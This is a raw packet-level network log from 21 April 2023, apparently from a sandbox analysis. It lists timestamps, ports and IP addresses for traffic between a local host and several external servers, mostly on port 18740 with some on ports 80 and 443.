Apr 21, 2023 01:04:01.125729084 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125854969 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125901937 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125921011 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.125940084 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.126036882 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.126136065 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.126960039 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.127103090 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.350831985 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.350876093 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.350909948 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351063013 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351103067 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351211071 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351310968 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351444960 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351480007 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351537943 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351609945 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351648092 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351773024 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351808071 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351883888 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351918936 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.351974964 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.352092028 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.352149010 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.352231026 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.352264881 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.352299929 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.352924109 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353079081 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353105068 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.353113890 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353148937 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353182077 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353245974 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.353264093 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353362083 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353396893 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353482962 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353516102 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353598118 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353737116 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353771925 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353853941 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353936911 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.353976011 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.354011059 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.354096889 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.354130983 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.354166985 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.354199886 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.354331017 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.354762077 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.354872942 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.579549074 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.579608917 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.579648018 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.579809904 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.580077887 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.580229998 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.580297947 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.580475092 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.580598116 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.580632925 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.580732107 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.580766916 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.580991030 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.581074953 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.581142902 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.581310987 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.581398964 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.581542015 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.581666946 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.581832886 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.581897020 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.581984043 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.582108974 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.582192898 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.582305908 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.582379103 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.582505941 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.582634926 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.582652092 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.582668066 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.582751036 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.582896948 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.582912922 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.582947016 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.583127975 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.583167076 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.583255053 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.583338976 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.583372116 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.583628893 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.583666086 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.583844900 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.583878994 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.583964109 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.584000111 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.584085941 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.584216118 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.584252119 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.584285975 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.584836006 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:01.809288025 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.809341908 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.809376955 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.809410095 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.809582949 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.809695959 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.809892893 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.810136080 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.810172081 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.810334921 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.810431004 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.810535908 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.810570955 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.810697079 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.810733080 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.810858011 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.810931921 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.811054945 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.811172009 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.811373949 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.811444044 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.811491966 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.811628103 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.811676025 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.811775923 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.811903000 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.811975002 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.812005997 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.812136889 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.812238932 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.812376022 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.812591076 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.812632084 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.812669039 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.812781096 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.812855959 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.812936068 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.813060999 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.813138008 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.813256025 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.813465118 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.813498974 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.813586950 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.813618898 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.813744068 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.813863039 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.814030886 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:01.816031933 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:02.018412113 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:02.711828947 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:02.939344883 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:03.021611929 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:03.445303917 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:03.672161102 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:03.672228098 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:03.673722982 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:03.815473080 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:06.940675020 CEST	49692	80	192.168.2.3	84.252.73.140
Apr 21, 2023 01:04:11.576031923 CEST	49694	80	192.168.2.3	84.252.73.140
Apr 21, 2023 01:04:14.628856897 CEST	49694	80	192.168.2.3	84.252.73.140
Apr 21, 2023 01:04:16.831909895 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:17.058537960 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:17.060441971 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:17.208496094 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:18.126669884 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:18.354643106 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:18.519793034 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:18.640607119 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:18.867094040 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:18.867768049 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:18.966849089 CEST	49695	80	192.168.2.3	185.159.130.81
Apr 21, 2023 01:04:19.019835949 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:19.027584076 CEST	80	49695	185.159.130.81	192.168.2.3
Apr 21, 2023 01:04:19.027725935 CEST	49695	80	192.168.2.3	185.159.130.81
Apr 21, 2023 01:04:19.028058052 CEST	49695	80	192.168.2.3	185.159.130.81
Apr 21, 2023 01:04:19.088440895 CEST	80	49695	185.159.130.81	192.168.2.3
Apr 21, 2023 01:04:19.212634087 CEST	80	49695	185.159.130.81	192.168.2.3
Apr 21, 2023 01:04:19.212698936 CEST	80	49695	185.159.130.81	192.168.2.3
Apr 21, 2023 01:04:19.212811947 CEST	49695	80	192.168.2.3	185.159.130.81
Apr 21, 2023 01:04:19.212811947 CEST	49695	80	192.168.2.3	185.159.130.81
Apr 21, 2023 01:04:19.343063116 CEST	49696	80	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:19.366142035 CEST	80	49696	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:19.366278887 CEST	49696	80	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:19.366595030 CEST	49696	80	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:19.389405012 CEST	80	49696	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:19.389460087 CEST	80	49696	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:19.389579058 CEST	49696	80	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:19.423379898 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:19.432297945 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:19.432380915 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:19.432501078 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:19.444442034 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:19.444545031 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:19.538887024 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:19.539026022 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:19.650158882 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:19.677619934 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:19.905747890 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:19.980037928 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:20.040067911 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.040148020 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.041090012 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.041191101 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.044945002 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.087461948 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.209165096 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:20.316819906 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:20.646431923 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.646503925 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.646545887 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.646553993 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.646622896 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.646652937 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.646678925 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.646727085 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.670849085 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.670917034 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.670980930 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.671046972 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.671078920 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.671101093 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.695203066 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.695267916 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.695322990 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.695374966 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.695441961 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.695441961 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.729171038 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.729223967 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.729294062 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.729331017 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.729350090 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.729404926 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.729577065 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:20.738727093 CEST	49694	80	192.168.2.3	84.252.73.140
Apr 21, 2023 01:04:20.752866030 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.752921104 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.753004074 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.753043890 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.753066063 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.753103971 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.776631117 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.776698112 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.776767969 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.776825905 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.776889086 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.776890039 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.804665089 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.804728031 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.804794073 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.804825068 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.804858923 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.804867983 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.829375982 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.829432964 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.829479933 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.829514027 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.829530001 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.829572916 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.851883888 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.851938963 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.852019072 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.852071047 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.852092981 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.852135897 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.871982098 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.872039080 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.872186899 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.872188091 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.872252941 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.872317076 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.895920038 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.895987034 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.896040916 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.896100998 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.896132946 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.896156073 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.922508955 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.922571898 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.922745943 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.922745943 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.922799110 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.922862053 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.936021090 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.936074018 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.936148882 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.936202049 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.936227083 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.936256886 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.950764894 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.950815916 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.950879097 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.950921059 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.950942993 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.950975895 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.956350088 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:20.967453003 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.967504025 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.967566013 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.967611074 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.967632055 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.967664003 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.985179901 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.985232115 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.985292912 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.985333920 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:20.985352039 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:20.985378981 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.003581047 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.003649950 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.003699064 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.003745079 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.003777027 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.003797054 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.019989967 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:21.029745102 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.029808044 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.029886007 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.029932976 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.029963017 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.029992104 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.051279068 CEST	443	49697	144.76.136.153	192.168.2.3
